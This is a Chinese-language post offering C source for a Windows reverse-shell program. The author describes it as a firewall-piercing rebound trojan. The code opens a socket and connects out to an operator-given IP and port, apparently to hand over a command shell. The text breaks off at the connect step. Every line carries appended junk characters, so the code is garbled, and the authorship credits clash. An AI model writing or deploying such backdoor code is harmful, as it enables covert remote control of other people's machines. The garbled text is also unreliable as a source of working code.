这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _ =O;Lz$x
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/* ============================== QN~9O^
Rebound port in Windows NT -Ze2]^#dl
By wind,2006/7 -S$Y0FDV
===============================*/
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#include pEGHW;
#include ^zS|O]Tx
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#pragma comment(lib,"wsock32.lib") P.t7_v>
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void OutputShell(); i'Q 4touy
SOCKET sClient; 9;pD0h|
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \%;5$ovV
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void main(int argc,char **argv) CM%;r5
{ +u7nx
WSADATA stWsaData; ^w}BXVn
int nRet; UbwD2>
SOCKADDR_IN stSaiClient,stSaiServer; 0_map z
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if(argc != 3) 8nRxx`U\q
{ ?)c9!hR
printf("Useage:\n\rRebound DestIP DestPort\n"); /kd6Yq(y
return; ud,_^Ul
} 0R?LWm
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WSAStartup(MAKEWORD(2,2),&stWsaData); +Xr87x;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <Dp[F|r
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stSaiClient.sin_family = AF_INET; mt3j$r{_
stSaiClient.sin_port = htons(0); }&*,!ES*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q(YQ$i"S
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {{4Sgb
{ ZNbb8v
printf("Bind Socket Failed!\n"); 4^BHJOvs
return; PEAo'63$
} T
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stSaiServer.sin_family = AF_INET; {BJn9B
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J{5&L &4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); GCA?sFwo>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y 4jelg
{ SA16Ng
printf("Connect Error!"); uzUZuJ
return; GSu&Z